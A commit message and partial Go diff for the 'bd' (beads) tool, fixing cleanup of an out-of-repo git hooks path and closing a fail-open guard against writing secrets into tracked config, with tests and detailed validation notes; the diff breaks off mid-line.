docs(hooks): explain conservative tracked-file guard (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(init): explain role probe discovery ceiling behavior (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind proxied tail Git operations to selected directory (saa-cgh.109.14) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(git): resolve hooks paths in an explicit read-only context (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind exclude writers to the selected Git directory (saa-cgh.109.16) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Bind init hook operations to the selected repository (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Give the hooks tail fixture an explicit remote context (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(git): canonicalize the hooks fixture repository root (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): make worktree role preservation independent (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Keep init role operations on the captured selected Git context (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Clarify hooks resolver ownership and preserve work-tree diagnostics (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Align selected-tail fixtures with captured role authority (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Report selected config read failures during hook reset (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Explain restoration of absent routing variables in selected exclude tests (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): keep successful config stdout separate from diagnostics (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(init): complete selected hook options and alias handling (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): keep standalone operations in one selected Git context (saa-cgh.120.4) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Assert standalone hook diagnostics through the CLI stderr contract (saa-cgh.120.4) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): isolate output mode and accept repository path aliases (saa-cgh.120.4) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks,config): clear the out-of-repo hooks path, close the fail-open secret guard Maintainer adoption fixes for the three majors raised by the #6463 review. 1. `bd hooks install --beads` configures /hooks, which BEADS_DIR or a .beads/redirect can place outside the repository, but the cleanup predicate (doctor.IsBeadsManagedHooksPath) matched only the two repo-relative forms. Uninstall therefore deleted the hook files and left core.hooksPath pointing at the emptied directory: .git/hooks stays shadowed, every hook is silently disabled, and beads-managed config is still installed -- the exact failure the GH#4440 contract at hooks.go:1505 exists to stop. `bd doctor --fix` shares the predicate, so nothing repaired it either. At base the same command wrote files to FindBeadsDir()/hooks but configured /.beads/hooks, a value the predicate does match, so the config was always removable. Making the write target consistent was the right fix; it just left the cleanup predicate behind. The regressing slice is post-uninstall removability. The predicate now takes the resolved storage hooks directory explicitly, and uninstall, `bd doctor --fix` and CheckHooksPath all resolve it through one new helper (doctor.BeadsManagedStorageHooksDir -> beads.FindBeadsDir), which is the same resolution install itself performs. Deliberately not ResolveBeadsDirForRepo: that is repo-anchored and blind to BEADS_DIR, i.e. half the finding's population. The new arm is gated on a resolved storage directory so it can never reach a third-party hooksPath. The `beads` subtest flips from "outside-storage predicate remains conservative" to asserting core.hooksPath is absent after uninstall; the doctor side gains TestFixHooksPath_ClearsDanglingOutOfRepoStorageHooks and five predicate table rows, including the negatives that pin the gating. 2. internal/config.isGitTracked gained `cmd.Env = gitenv.ScrubRouting(...)` with no inherited fallback. Its only caller is fail-open by construction -- a probe that cannot answer means "untracked" and the secret write proceeds. Probed directly with real git: in a bare-repo-plus-external-work-tree layout the scrubbed probe exits 128 while the inherited one exits 0, so scrubbing alone made `bd config set ai.api_key` write the secret into a git-tracked config.yaml that base refused -- a hardening that moved a guard toward exposure. It now uses the two-probe shape this same range already applies in isGitTrackedFileWithEnv (scrubbed first, inherited fallback, either index tracking the file refuses the write). 3. cmd/bd/config.go's "All role commands ignore inherited Git routing" is a false universal: the readers that decide maintainer-vs-contributor (internal/routing, beads.RepoContext.Role, doctor/role.go, config_show.go) are unscrubbed, so GIT_CONFIG_COUNT/KEY/VALUE still flips the role. Narrowed to what is true -- bd config's own role read and write -- and it now names the uncovered reader plane instead of claiming coverage over it. The reader-scrub arm is deliberately not taken here: #6461's published head already hardens all four reader files (verified at refs/pull/6461/head), so duplicating it would rewrite four files an open sibling PR is already changing. No sibling head is an ancestor of this one, so whichever leaf merges first must carry the reader legs. Also fixed, non-gating and nearby: - install/uninstall act on the selected config-scrubbed hooks path while every status and execution reader (bd hooks list, bd doctor, runChainedHook) still resolves through the inherited context -- and git itself honors the inherited core.hooksPath. When the two disagree, a warning now names both paths instead of reporting a bare success that `bd hooks list` will contradict. The inherited path was already computed, so this costs no extra subprocess. - the `rev-parse --absolute-git-dir` failure now carries git's stderr, as loadGitContext does for the same class of failure. Second review iteration: the three majors above were validated fixed by both lanes, leaving one minor and two nits, none of them merge gates. The minor is accepted with its slice pinned; the rest is bookkeeping. - The cleanup predicate recognizes what install would configure *right now* (doctor.BeadsManagedStorageHooksDir -> beads.FindBeadsDir), not the value install actually wrote, and every FindBeadsDir arm reads live inputs (BEADS_DIR, redirect contents, storage existence, process cwd). When those drift between install and cleanup the value becomes unclearable again. Closing it needs install to record what it wrote (a local beads.hooksPath key) and the predicate to match the record -- new persisted surface, deliberately not added in an adoption fixup after the review converged. Filed as bd-s76jm. The slice is now pinned rather than silent, by two tests that must flip when bd-s76jm lands and that pair with the existing opposite-polarity pins: TestFixHooksPath_LeavesDanglingStorageHooksWhenStorageIsGone (whole storage deleted -- the trigger CheckHooksPath's own docstring names for GH#4440) and TestStandaloneBeadsUninstallLeavesHooksPathWhenResolutionDrifts (BEADS_DIR set at install, absent at uninstall: the hook files are deleted and core.hooksPath survives). Predicate-level, `storage hooks with no storage resolved` -> false already pinned it. Not taken instead: widening the predicate by path shape. The arm is gated on a resolved storage directory precisely so it cannot reach a third-party hooksPath, and two table rows pin that. - cmd/bd/config.go's narrowed comment scoped its guarantee to "bd config's own ... read and write" while listing `bd config show` as an unscrubbed exception -- and `bd config show` is a bd config read (config_show.go:336), so the scoping clause contradicted its own exception list. It now names the four subcommands that really are scrubbed. Note that is get/set/set-many/unset: config.go:903 is `bd config set-many`, so the reviewer's suggested "get/set/unset" wording would have under-named the set. The four items this commit previously called "tracked follow-ups" carried no bead ids, which made them declines that would evaporate at merge. Now filed: - bd-ewdt8: the GH#4440 uninstall regression suite still exercises the production-dead uninstallHooks/resetHooksPathIfBeadsManaged rather than the shipped hooksUninstallCmd route. Tabling those cases over both entry points is a test-only refactor across nine call sites; the shipped route does now carry a real hooksPath-clearance assertion (item 1). - bd-ez09k: exposing GitDir on git.HooksContext to drop the extra rev-parse is declined on risk, not cost (loadGitContext's absolute git dir is anchored on an already symlink-resolved workDir, while `rev-parse --absolute-git-dir` runs from the raw cwd, so substituting it changes the provenance of the pinned GIT_DIR inside the very resolver under review, for a finding with no gate impact); and `isRoleGitRepo`'s doubled probe (init_proxied_server.go) is untouched because all four open sibling PRs rewrite that file (32-57 insertions each). - bd-16d58: `bd init` still installs beads hooks through the legacy installHooksWithOptions (init.go:2072, beadsHooks=true), which writes files to FindBeadsDir()/hooks while configuring /.beads/hooks. Both values are now clearable, but that route's install/config mismatch remains. Corrected scope: `bd config apply` is not in this population -- config_apply.go:202 passes beadsHooks=false, so it takes the common-git-dir branch and configures no hooksPath at all. bd-s76jm blocks it: making this route configure an out-of-repo value without the recorded-value fix would trade a hooks-never-run bug for an unclearable-core.hooksPath one. Validation (env -u BEADS_DIR, private TMPDIR): - internal/config: full package green. - cmd/bd/doctor: full package run at the reviewed head and with this fixset produce an identical 7-test failure set, all environment-driven (reachable Dolt server, global beads.role=maintainer, ambient dolt.host/dolt.user). - cmd/bd: the full package exceeds go test's 10m default at the reviewed head too, aborting before it reaches any hooks test (pr.yml:973 documents this and uses -timeout=30m). Instead, all 51 tests in the four files that touch the changed symbols pass under CI's flags: -tags gms_pure_go -race -short. - go vet clean for linux, CGO_ENABLED=0, and GOOS=windows CGO_ENABLED=0 over cmd/bd/..., internal/config/... and internal/git/... -- the two new unconstrained cmd/bd test files still compile in the no-cgo lanes. - Mutation proofs, each reddening only its own pin while every incumbent stays green: removing the predicate's storage arm reds exactly TestIsBeadsManagedHooksPath/out-of-repo_storage_hooks, TestFixHooksPath_ClearsDanglingOutOfRepoStorageHooks and TestStandaloneHookCommandsUseSelectedContext/beads; removing isGitTracked's inherited fallback reds the new external-work-tree test with `refusal = `, the fail-open write itself, while the three pre-existing routing cases stay green; suppressing the divergence warning reds only TestStandaloneHooksWarnOnEffectivePathDivergence. Second-iteration validation (same flags): - cmd/bd/doctor -run 'TestFixHooksPath|TestCheckHooksPath|TestIsBeadsManagedHooksPath': 29/29 === RUN green, counted rather than read off a bare `ok`. - cmd/bd, the five hooks-context tests: 16/16 === RUN green, including the incumbent .../beads arm that asserts the value IS cleared without drift. That arm and the new drift test differ by one setup line and assert opposite outcomes, which is what makes the new pin non-vacuous; each new test also asserts its own precondition (no storage resolves) so it cannot pass for the wrong reason. - gofmt, git diff --check, go build, and go vet clean for linux, CGO_ENABLED=0 and GOOS=windows CGO_ENABLED=0 over cmd/bd/... -- the added doctor import in cmd/bd/hooks_worktree_test.go compiles in the no-cgo lanes. - cmd/bd/config.go's delta is comment-only, so no behavior and no generated CLI docs are affected. Pre-approval CI repair: main advanced 11 commits after the review loop, and the merged tree (this head merged with main) reds two tests that are green on each side alone. Base-parity proves it: internal/storage/domain/git is 31/31 at main alone and 33/33 at the reviewed head alone, but 5 FAIL merged. GitHub builds refs/pull/6463/merge, so this is the tree CI will actually test. Both reds are the same two-way collision between this PR's role-read hardening and #6477 ("preserve config read errors instead of treating them as absent"): - This PR's TestInitGitRepositoryUsesSelectedDirectory/captured_home asserted `require.NoError` on a generic `beads.role` read whose HOME holds a broken .gitconfig, with the comment "The existing reader maps Git exit errors to absence." #6477 deliberately deleted exactly that premise, so the broken config now surfaces as a real error (exit 128). HOME is not a routing key, so the changed HOME is still visible to the generic reader -- which is what the subtest exists to prove. The assertion flips to `require.Error`; `found` and the empty value still hold, and the selected-constructor half is untouched. - #6477's TestConfig_ReadFailuresAreNotMissing/invalid_routing_boolean poisons GIT_CONFIG_NOSYSTEM and read `beads.role`. gitenv.IsRoutingKeyForOS treats any GIT_CONFIG* key as routing (routing.go:61, a prefix rule, not the explicit map), so this PR's role-read scrub strips the poison and the read succeeds -- #6477's row is obsoleted by design for the one key this PR hardens, and its tail BeadsRole assertion with it. The row is retargeted to test.marker, a key that still inherits routing, which preserves #6477's contract (a routing-env read failure must surface as an error, exit 128 with a diagnostic) on the same mechanism. Its role-read leg now asserts the hardened outcome positively, so the boundary between the two contracts is pinned rather than dropped. The two untouched rows (malformed repo config, invalid key) never depended on routing env and stayed green throughout. Repair validation, on the merged tree, env -u BEADS_DIR and a private TMPDIR outside the worktree: - internal/storage/domain/git: 45/45 === RUN PASS, 0 FAIL, 0 SKIP. - Non-vacuity: dropping the GIT_CONFIG_NOSYSTEM poison reds the retargeted row, so it still exercises the routing mechanism rather than passing trivially. - cmd/bd blast radius (188 selectors from every cmd/bd test file either side changed): the failing-name set is identical to main's under the same selector and host -- 16 names both sides, zero new -- while RUN rises 393 -> 529 and PASS 357 -> 493, so all +136 added executions pass. - cmd/bd/doctor full package: identical 6-name failure set at main alone and here; RUN 876 -> 896 and PASS 855 -> 875. All six are host-environmental (global beads.role=maintainer, a live Dolt server on 127.0.0.1:3307). - internal/config 398/398, scripts 98 RUN/0 FAIL (including #6482's rewritten check_doc_freshness_test.go), gitenv+execenv+githooksenv+gittraceenv 64 RUN, internal/git+gitignore 68/68, storage/domain/fs 84/84, dolt credentials 34/34, metrics 58/58, drift packages (beads, query, timeparsing, issueops, schema) 1559 RUN/0 FAIL. - scripts/check-doc-freshness.sh passes on the merged tree, which clears #6482's new duplicate-marker failure mode against the DOCS rows this head touches (cmd/bd/main.go, cmd/bd/config.go, cmd/bd/*.go). - go build ./... exit 0; go vet exit 0 over all 20 changed packages for linux, CGO_ENABLED=0 -tags gms_pure_go, and GOOS=windows CGO_ENABLED=0. - BD_LINT_NEW_FROM_MERGE_BASE=511849496 make ci-pr-lint: gofmt clean, golangci-lint 0 issues, golangci-lint (windows) 0 issues. This is the gate a never-pushed maintainer fixup otherwise evades entirely. The base merge is a separate commit below this one so the maintainer fixup stays a single commit; its tree was verified identical to an independently computed git merge-tree of the reviewed head and main. Co-Authored-By: Claude Opus 5 * build(bazel): restore the internal/utils debug dep the merge dropped Merge-queue inference repair for PR #6463 (stop reason ci_repairable). The three Bazel lanes were red on this PR and green on main -- eight consecutive successful bazel.yml runs on main, including the tip this branch merged. The cause is the merge commit 86defb414, not the PR's own change: main carries "//internal/debug" in internal/utils' go_library deps (added by #6907's BUILD sync), and this branch's copy of internal/utils/BUILD.bazel still dates from #6798. The merge kept the branch side and discarded main's newer content, so the dep row was lost while internal/utils/id_parser.go -- which is on main and imports internal/debug -- still needs it. Regenerated with the repository's own `make bazel-sync`; the result is byte-identical to origin/main's version of the file, and a second sync is a no-op, so this restores exactly what the merge dropped and nothing else. Proven by counterfactual: with the row removed, `bazel build //internal/utils:all` fails with "GoCompilePkg ... compilepkg: missing strict dependencies" -- the CI failure class -- and with it restored the same command exits 0 (390 actions). `go build ./...` is clean and `go test ./internal/utils/` passes. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Bee Co-authored-by: Gas City Adopt-PR Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/doctor/backend.go | 20 +++ cmd/bd/doctor/git.go | 24 ++- cmd/bd/doctor/hooks_path_test.go | 143 ++++++++++++++-- cmd/bd/hooks.go | 123 ++++++++++++-- cmd/bd/hooks_worktree_test.go | 206 ++++++++++++++++++++++++ cmd/bd/uninstall_config_test.go | 38 +++++ internal/git/gitdir.go | 26 +++ internal/git/gitdir_test.go | 10 ++ internal/storage/domain/git/git_test.go | 3 +- 9 files changed, 559 insertions(+), 34 deletions(-) diff --git a/cmd/bd/doctor/backend.go b/cmd/bd/doctor/backend.go index 54fd969c3..c852521ff 100644 --- a/cmd/bd/doctor/backend.go +++ b/cmd/bd/doctor/backend.go @@ -38,6 +38,26 @@ func resolveBeadsDirForRepoUncached(repoPath string) string { return beads.ResolveBeadsDirForRepo(repoPath) } +// BeadsManagedStorageHooksDir returns the hooks directory that +// `bd hooks install --beads` writes to core.hooksPath — /hooks +// — or "" when no beads storage resolves. +// +// install resolves that directory with beads.FindBeadsDir, which honors +// BEADS_DIR and .beads/redirect and can therefore land outside the repository. +// Uninstall and `bd doctor --fix` must resolve it exactly the same way: a value +// they cannot recognize is a value they cannot clear, which leaves +// core.hooksPath pointing at a hooks directory whose files uninstall just +// deleted (every hook silently disabled, beads-managed config still installed — +// the GH#4440 contract). Deliberately not ResolveBeadsDirForRepo, which is +// repo-anchored and blind to BEADS_DIR. +func BeadsManagedStorageHooksDir() string { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return "" + } + return filepath.Join(beadsDir, "hooks") +} + func resolvedBeadsRepoRoot(repoPath string) string { return filepath.Dir(ResolveBeadsDirForRepo(repoPath)) } diff --git a/cmd/bd/doctor/git.go b/cmd/bd/doctor/git.go index b50ad192f..52ba17c0d 100644 --- a/cmd/bd/doctor/git.go +++ b/cmd/bd/doctor/git.go @@ -639,7 +639,7 @@ func CheckHooksPath() DoctorCheck { } } - managed := IsBeadsManagedHooksPath(repoRoot, hooksPath) + managed := IsBeadsManagedHooksPath(repoRoot, BeadsManagedStorageHooksDir(), hooksPath) var fix string if managed { fix = "Run 'bd doctor --fix' to unset core.hooksPath, or: git config --unset core.hooksPath" @@ -675,7 +675,7 @@ func FixHooksPath() error { return nil // nothing set } - if !IsBeadsManagedHooksPath(repoRoot, hooksPath) { + if !IsBeadsManagedHooksPath(repoRoot, BeadsManagedStorageHooksDir(), hooksPath) { return nil // never touch a third-party hooksPath } @@ -709,8 +709,12 @@ func getConfiguredHooksPath(repoRoot string) (string, bool) { // IsBeadsManagedHooksPath reports whether hooksPath is one of the values bd // itself writes to core.hooksPath (.beads/hooks or .beads-hooks, relative or -// absolute under repoRoot). It is the single matcher for that question; -// resetHooksPathIfBeadsManaged (cmd/bd/hooks.go) calls it too, so the two +// absolute under repoRoot, or storageHooksDir — the /hooks +// directory that `bd hooks install --beads` configures, which BEADS_DIR or a +// .beads/redirect can place outside repoRoot). Callers pass +// BeadsManagedStorageHooksDir() for storageHooksDir, or "" when no storage +// applies. It is the single matcher for that question; +// resetHooksPathAt (cmd/bd/hooks.go) calls it too, so the two // paths cannot drift apart. // // Absolute values are compared after symlink resolution. repoRoot comes from @@ -721,7 +725,7 @@ func getConfiguredHooksPath(repoRoot string) (string, bool) { // is a symlink to /private/var, including all of t.TempDir()) hits this. The // false negative is not cosmetic: CheckHooksPath then reports the dangling // path as third-party and FixHooksPath deliberately refuses to unset it. -func IsBeadsManagedHooksPath(repoRoot, hooksPath string) bool { +func IsBeadsManagedHooksPath(repoRoot, storageHooksDir, hooksPath string) bool { if hooksPath == ".beads/hooks" || hooksPath == ".beads-hooks" { return true } @@ -730,8 +734,14 @@ func IsBeadsManagedHooksPath(repoRoot, hooksPath string) bool { } root := resolveExistingPrefix(repoRoot) candidate := resolveExistingPrefix(hooksPath) - return candidate == filepath.Join(root, ".beads", "hooks") || - candidate == filepath.Join(root, ".beads-hooks") + if candidate == filepath.Join(root, ".beads", "hooks") || + candidate == filepath.Join(root, ".beads-hooks") { + return true + } + // The out-of-repo storage arm is gated on a resolved storage directory, so + // it recognizes only the directory bd would itself configure right now — + // never an arbitrary absolute hooksPath that happens to be named "hooks". + return storageHooksDir != "" && candidate == resolveExistingPrefix(storageHooksDir) } // resolveExistingPrefix returns path with its longest existing ancestor diff --git a/cmd/bd/doctor/hooks_path_test.go b/cmd/bd/doctor/hooks_path_test.go index 9f6fe42e0..a2888aae3 100644 --- a/cmd/bd/doctor/hooks_path_test.go +++ b/cmd/bd/doctor/hooks_path_test.go @@ -251,33 +251,146 @@ func TestCheckHooksPath_SymlinkedRepoRoot(t *testing.T) { } } +// TestFixHooksPath_ClearsDanglingOutOfRepoStorageHooks pins the other half of +// the shared-predicate contract. `bd hooks install --beads` configures +// /hooks, which BEADS_DIR can place outside the repository, so +// `bd doctor --fix` must recognize that value as beads-managed too — otherwise +// the check reports bd's own dangling hooksPath as third-party and deliberately +// refuses to unset it, and nothing repairs a repo whose hooks are all shadowed. +func TestFixHooksPath_ClearsDanglingOutOfRepoStorageHooks(t *testing.T) { + dir := t.TempDir() + setupGitRepoInDir(t, dir) + // External storage that FindBeadsDir will accept: BEADS_DIR plus at least + // one project file. Its hooks/ directory is deliberately absent, which is + // what makes the configured path dangling and therefore doctor's business. + storage := filepath.Join(t.TempDir(), "external storage") + if err := os.MkdirAll(storage, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(storage, "metadata.json"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", storage) + storageHooks := filepath.Join(storage, "hooks") + setGitConfig(t, dir, "core.hooksPath", storageHooks) + + runInDir(t, dir, func() { + check := CheckHooksPath() + if check.Status != StatusWarning { + t.Fatalf("expected a warning for a dangling storage hooks path, got %q: %s", check.Status, check.Message) + } + if !strings.Contains(check.Fix, "bd doctor --fix") { + t.Errorf("expected the beads-managed fix hint, got %q", check.Fix) + } + if err := FixHooksPath(); err != nil { + t.Fatalf("FixHooksPath failed: %v", err) + } + }) + + if got := getGitConfig(t, dir, "core.hooksPath"); got != "" { + t.Errorf("core.hooksPath = %q, want it unset after FixHooksPath", got) + } +} + +// TestFixHooksPath_LeavesDanglingStorageHooksWhenStorageIsGone records an +// accepted limitation, not a desired behavior: the storage arm recognizes the +// directory `bd hooks install --beads` would configure *right now*, not the value +// install actually wrote. BeadsManagedStorageHooksDir resolves through +// beads.FindBeadsDir, whose every arm is gated on the storage directory existing +// and holding project files, so deleting .beads/ — the exact trigger +// CheckHooksPath documents for GH#4440 — removes the only value the predicate +// could have matched. The dangling out-of-repo hooksPath is then classified as +// third-party and deliberately left alone. +// +// Tracked in bd-s76jm: record what install configured (a local beads.hooksPath +// key) and match the record, with the current recomputation as the fallback. When +// that lands this expectation flips to "unset" and this test becomes its +// counterfactual. +func TestFixHooksPath_LeavesDanglingStorageHooksWhenStorageIsGone(t *testing.T) { + dir := t.TempDir() + setupGitRepoInDir(t, dir) + storage := filepath.Join(t.TempDir(), "external storage") + if err := os.MkdirAll(storage, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(storage, "metadata.json"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", storage) + storageHooks := filepath.Join(storage, "hooks") + setGitConfig(t, dir, "core.hooksPath", storageHooks) + + // The user deletes the whole storage directory without running + // `bd hooks uninstall` first, leaving core.hooksPath behind in the common dir. + if err := os.RemoveAll(storage); err != nil { + t.Fatal(err) + } + + runInDir(t, dir, func() { + if got := BeadsManagedStorageHooksDir(); got != "" { + t.Fatalf("precondition: no storage may resolve once it is deleted, got %q", got) + } + check := CheckHooksPath() + if check.Status != StatusWarning { + t.Fatalf("expected a warning for a dangling storage hooks path, got %q: %s", check.Status, check.Message) + } + if !strings.Contains(check.Fix, "not beads-managed") { + t.Errorf("expected the third-party hint the unrecognized value earns, got %q", check.Fix) + } + if err := FixHooksPath(); err != nil { + t.Fatalf("FixHooksPath failed: %v", err) + } + }) + + if got := getGitConfig(t, dir, "core.hooksPath"); got != storageHooks { + t.Errorf("core.hooksPath = %q, want it still set to %q: the value is unclearable once the derivation inputs are gone (bd-s76jm)", got, storageHooks) + } +} + // TestIsBeadsManagedHooksPath_LeavesThirdPartyAlone guards the widened // symlink-resolving match against over-reach: resolving paths must not make // an unrelated hooks directory look beads-managed, since a false positive here // means bd unsets a hooksPath it does not own (husky, lefthook). func TestIsBeadsManagedHooksPath_LeavesThirdPartyAlone(t *testing.T) { root := t.TempDir() + // The out-of-repo storage directory `bd hooks install --beads` configures + // when BEADS_DIR or a .beads/redirect points outside the repository. + storage := filepath.Join(t.TempDir(), "external storage") + storageHooks := filepath.Join(storage, "hooks") cases := []struct { - name string - hooksPath string - want bool + name string + // storageHooksDir is what the caller resolved for this repository; "" + // means no beads storage resolved at all. + storageHooksDir string + hooksPath string + want bool }{ - {"relative beads hooks", ".beads/hooks", true}, - {"relative shared beads hooks", ".beads-hooks", true}, - {"absolute beads hooks", filepath.Join(root, ".beads", "hooks"), true}, - {"absolute shared beads hooks", filepath.Join(root, ".beads-hooks"), true}, - {"relative husky", ".husky/_", false}, - {"relative githooks", ".githooks", false}, - {"absolute husky", filepath.Join(root, ".husky", "_"), false}, - {"beads hooks under a different repo", filepath.Join(t.TempDir(), ".beads", "hooks"), false}, - {"deeper path below beads hooks", filepath.Join(root, ".beads", "hooks", "pre-commit"), false}, - {"empty", "", false}, + {"relative beads hooks", "", ".beads/hooks", true}, + {"relative shared beads hooks", "", ".beads-hooks", true}, + {"absolute beads hooks", "", filepath.Join(root, ".beads", "hooks"), true}, + {"absolute shared beads hooks", "", filepath.Join(root, ".beads-hooks"), true}, + {"relative husky", "", ".husky/_", false}, + {"relative githooks", "", ".githooks", false}, + {"absolute husky", "", filepath.Join(root, ".husky", "_"), false}, + {"beads hooks under a different repo", "", filepath.Join(t.TempDir(), ".beads", "hooks"), false}, + {"deeper path below beads hooks", "", filepath.Join(root, ".beads", "hooks", "pre-commit"), false}, + {"empty", "", "", false}, + // The install target must be recognized so uninstall and + // `bd doctor --fix` can clear the value install itself wrote (GH#4440). + {"out-of-repo storage hooks", storageHooks, storageHooks, true}, + // ...and only that directory: the arm is gated on the resolved storage, + // not on "any absolute path", so it never reaches a third-party dir. + {"unrelated out-of-repo hooks dir", storageHooks, filepath.Join(t.TempDir(), "hooks"), false}, + {"storage itself, not its hooks dir", storageHooks, storage, false}, + {"storage hooks with no storage resolved", "", storageHooks, false}, + {"in-repo forms still match with storage resolved", storageHooks, filepath.Join(root, ".beads-hooks"), true}, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { - if got := IsBeadsManagedHooksPath(root, tc.hooksPath); got != tc.want { - t.Errorf("IsBeadsManagedHooksPath(%q, %q) = %v, want %v", root, tc.hooksPath, got, tc.want) + if got := IsBeadsManagedHooksPath(root, tc.storageHooksDir, tc.hooksPath); got != tc.want { + t.Errorf("IsBeadsManagedHooksPath(%q, %q, %q) = %v, want %v", + root, tc.storageHooksDir, tc.hooksPath, got, tc.want) } }) } diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index b48d5c75f..5274f55ba 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -701,7 +701,7 @@ Installed hooks: chain, _ := cmd.Flags().GetBool("chain") beadsHooks, _ := cmd.Flags().GetBool("beads") - if err := installHooksWithOptions(managedHookNames, force, shared, chain, beadsHooks); err != nil { + if err := installStandaloneHooks(managedHookNames, force, shared, chain, beadsHooks); err != nil { return HandleErrorRespectJSON("installing hooks: %v", err) } @@ -752,7 +752,7 @@ var hooksUninstallCmd = &cobra.Command{ } }() - if err := uninstallHooks(); err != nil { + if err := uninstallStandaloneHooks(); err != nil { return HandleErrorRespectJSON("uninstalling hooks: %v", err) } @@ -940,11 +940,82 @@ func installHooksWithOptions(hookNames []string, force bool, shared bool, chain return installHooksWithContext(hookNames, force, shared, chain, beadsHooks, nil) } +func resolveStandaloneHooksContext() (*initHooksContext, error) { + workDir, err := os.Getwd() + if err != nil { + return nil, err + } + inherited := os.Environ() + clean := gitenv.ScrubRouting(inherited) + paths, err := git.ResolveHooksContext(workDir, inherited) + if err != nil { + // Preserve legacy absolute-path file operations without borrowing cached + // repository authority for configuration or managed-directory installs. + dir, pathErr := git.GetGitHooksDirFrom(workDir, inherited) + if pathErr != nil || !filepath.IsAbs(dir) { + return nil, err + } + return &initHooksContext{workDir: workDir, paths: git.HooksContext{HooksDir: dir}, env: clean, inheritedEnv: inherited}, nil + } + cmd := exec.Command("git", "rev-parse", "--absolute-git-dir") + cmd.Dir, cmd.Env = workDir, inherited + gitDir, err := cmd.Output() + if err != nil { + // Attach git's own diagnostic, as loadGitContext does for the same + // class of failure; the bare status alone is not actionable. + captureErr := fmt.Errorf("capture selected Git directory: %w", err) + if exit, ok := err.(*exec.ExitError); ok && len(exit.Stderr) > 0 { + captureErr = fmt.Errorf("%w: %s", captureErr, strings.TrimSpace(string(exit.Stderr))) + } + return nil, captureErr + } + // Keep the private admin directory for effective worktree config reads. + // The unpinned clean environment remains the containing-index proof. + pinned := append(append([]string(nil), clean...), "GIT_DIR="+strings.TrimSpace(string(gitDir)), + "GIT_COMMON_DIR="+paths.CommonDir, "GIT_WORK_TREE="+paths.RepoRoot) + effective := paths.HooksDir + paths, err = git.ResolveHooksContext(workDir, pinned) + if err != nil { + return nil, err // Never recover a selected read through inherited routing. + } + // These commands act on the selected, config-scrubbed path, while every + // status and execution reader (bd hooks list, bd doctor, runChainedHook) + // still resolves hooks through the inherited context. When inherited config + // moves the effective directory the two disagree, so name both paths rather + // than reporting a bare success the next status call will contradict. + if !utils.PathsEqual(effective, paths.HooksDir) { + fmt.Fprintf(os.Stderr, "Warning: inherited Git config makes %s the effective hooks directory; "+ + "operating on the selected repository's %s instead\n", effective, paths.HooksDir) + } + return &initHooksContext{workDir: paths.RepoRoot, paths: paths, env: clean, inheritedEnv: inherited}, nil +} + +func installStandaloneHooks(hookNames []string, force, shared, chain, beadsHooks bool) error { + selected, err := resolveStandaloneHooksContext() + if err != nil { + return err + } + if shared || beadsHooks { + if selected.paths.CommonDir == "" { + return fmt.Errorf("shared or beads hooks require a working Git repository") + } + if beadsHooks { + selected.beadsDir = beads.FindBeadsDir() + } + } + return installHooksAt(hookNames, force, shared, chain, beadsHooks, selected) +} + //nolint:unparam // force and chain kept for CLI flag compatibility; section markers make them no-ops func installHooksWithContext(hookNames []string, force, shared, chain, beadsHooks bool, selected *initHooksContext) error { if selected != nil && shared { return fmt.Errorf("shared hooks mode is not supported by selected init") } + return installHooksAt(hookNames, force, shared, chain, beadsHooks, selected) +} + +//nolint:unparam // force and chain remain accepted compatibility no-ops +func installHooksAt(hookNames []string, force, shared, chain, beadsHooks bool, selected *initHooksContext) error { var hooksDir string if selected != nil { hooksDir = selected.paths.HooksDir @@ -953,6 +1024,8 @@ func installHooksWithContext(hookNames []string, force, shared, chain, beadsHook return fmt.Errorf("%s", activeWorkspaceNotFoundError()) } hooksDir = filepath.Join(selected.beadsDir, "hooks") + } else if shared { + hooksDir = filepath.Join(selected.paths.MainRepoRoot, ".beads-hooks") } } else if beadsHooks { // Use .beads/hooks/ directory (preferred for Dolt backend) @@ -1073,7 +1146,7 @@ func installHooksWithContext(hookNames []string, force, shared, chain, beadsHook } // Configure git to use the hooks directory after writing, as in ordinary installs. - if selected != nil && beadsHooks { + if selected != nil && (beadsHooks || shared) { if err := selected.configureHooksPath(hooksDir); err != nil { return fmt.Errorf("failed to configure 